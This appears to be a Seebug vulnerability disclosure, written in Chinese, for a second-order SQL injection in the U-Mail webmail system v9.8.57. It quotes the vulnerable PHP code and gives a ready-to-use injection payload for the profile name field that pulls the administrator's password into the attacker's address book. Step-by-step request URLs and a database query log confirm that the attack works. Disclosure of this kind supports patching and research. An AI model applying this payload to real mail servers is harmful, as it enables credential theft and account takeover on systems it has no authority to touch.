U-Mail邮件系统二次注入3(不鸡肋,可获取管理员密码)

2015-03-06T00:00:00
ID SSV:95433
Type seebug
Reporter Root
Modified 2015-03-06T00:00:00

Description

简要描述:

U-Mail邮件系统二次注入漏洞,可直接获取管理员密码

详细说明:

版本:最新版v9.8.57 漏洞文件 /client/oab/module/operates.php 代码

if ( ACTION == "save-to-pab" ) { include_once( LIB_PATH."PAB.php" ); $PAB = PAB::getinstance( ); $maillist_id = gss( $_GET['maillist'] ); if ( $maillist_id ) { $member_all = $Maillist->getMemberByMaillistID( $maillist_id, "Mailbox,FullName", 0 ); if ( !$member_all ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } foreach ( $member_all as $member ) { if ( !$PAB->getContactByMail( $user_id, $member['Mailbox'], "contact_id", 0 ) ) { $data = array( "user_id" => $user_id, "fullname" => $member['FullName'],//二次注入 "pref_email" => $member['Mailbox'], "updated" => date( "Y-m-d H:i:s" ) ); $res = $PAB->add_contact( $data, 0 ); if ( !$res ) { dump_json( array( "status" => FALSE, "message" => el( "添加联系人时发生错误,添加失败!", "" ) ) ); } } } } else { $user_ids = gss( $_GET['userlist'] ); $user_ids = id_list_filter( $user_ids );//WooYun-2014-72963 if ( !$user_ids ) { dump_msg( "param_error", el( "参数错误!", "" ) ); } $where = "t1.UserID IN (".$user_ids.")"; $arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, "", "", "", "", 0 ); $user_all = $arr_tmp['data']; if ( !$user_all ) { dump_json( array( "status" => TRUE, "message" => "" ) ); } foreach ( $user_all as $user ) { $qq = $msn = ""; if ( strpos( $user['qqmsn'], "@" ) ) { $msn = $user['qqmsn']; } else { $qq = $user['qqmsn']; } if ( !$PAB->getContactByMail( $user_id, $user['email'], "contact_id", 0 ) ) { $data = array( "user_id" => $user_id, "fullname" => $user['FullName'], "pref_email" => $user['email'], "pref_tel" => $user['teleextension'] ? $user['teleextension'] : $user['mobil'], "birthday" => $user['birthday'], "im_qq" => $qq, "im_msn" => $msn, "updated" => date( "Y-m-d H:i:s" ) ); $res = $PAB->add_contact( $data, 0 );//二次注入 if ( !$res ) { dump_json( array( "status" => FALSE, "message" => el( "添加联系人时发生错误,添加失败!", "" ) ) ); } } } } dump_json( array( "status" => TRUE, "message" => "" ) ); }

漏洞是先引入单引号,引入数据库,在个人资料处,填写如下exp,如图 ',homepage=(SELECT password from userlist where userid=2)#

<img src="https://images.seebug.org/upload/201503/031118376f5e9e79933c526fa934ebe3656a4a20.png" alt="t.png" width="600" onerror="javascript:errimg(this);">

http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test2

<img src="https://images.seebug.org/upload/201503/031119328af0264050e5249ea678869e6698cbd8.png" alt="t2.png" width="600" onerror="javascript:errimg(this);">

然后执行该漏洞函数,请求为

<img src="https://images.seebug.org/upload/201503/0311210025bbbba23fdb15b8d87af5175b6e4c2d.png" alt="t3.png" width="600" onerror="javascript:errimg(this);">

查看个人通讯录,找到管理员密码,如图

<img src="https://images.seebug.org/upload/201503/031121465dc2708c850931464260d9c82b56f9d7.png" alt="4.png" width="600" onerror="javascript:errimg(this);">

SQL执行的过程为

150227 11:43:30 8724 Connect umail@localhost on 8724 Query SET NAMES 'UTF8' 8724 Init DB umail 8724 Query UPDATE userlist SET `FullName`='\',`homepage`=(SELECT password from userlist where userid=2)#',`EnglishName`='' WHERE UserID='13' 8724 Query UPDATE mailuserinfo SET `sex`='0',`birthday`='0000-00-00',`mobil`='',`teleextension`='',`extnum`='',`qqmsn`='',`worknum`='',`memo`='',`o_group`='' WHERE UserID='13' 8724 Quit 150227 11:46:10 8727 Connect umail@localhost on 8727 Query SET NAMES 'UTF8' 8727 Init DB umail 8727 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.* FROM userlist as t1, mailuserinfo as t2 WHERE t1.DomainID='1' AND t1.UserID&gt;2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (13) ORDER BY t1.OrderNo DESC,t1.Mailbox ASC 8727 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.* FROM userlist as t1, mailuserinfo as t2 WHERE t1.DomainID='1' AND t1.UserID&gt;2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (13) ORDER BY t1.OrderNo DESC,t1.Mailbox ASC 8727 Query SELECT contact_id FROM pab_contact WHERE user_id='13' AND pref_email='test2@fuck.com' LIMIT 1 8727 Query INSERT INTO pab_contact SET `user_id`='13',`fullname`='',`homepage`=(SELECT password from userlist where userid=2)#',`pref_email`='test2@fuck.com',`pref_tel`='',`birthday`='0000-00-00',`im_qq`='',`im_msn`='',`updated`='2015-02-27 11:46:10' 8727 Quit

漏洞证明:

如上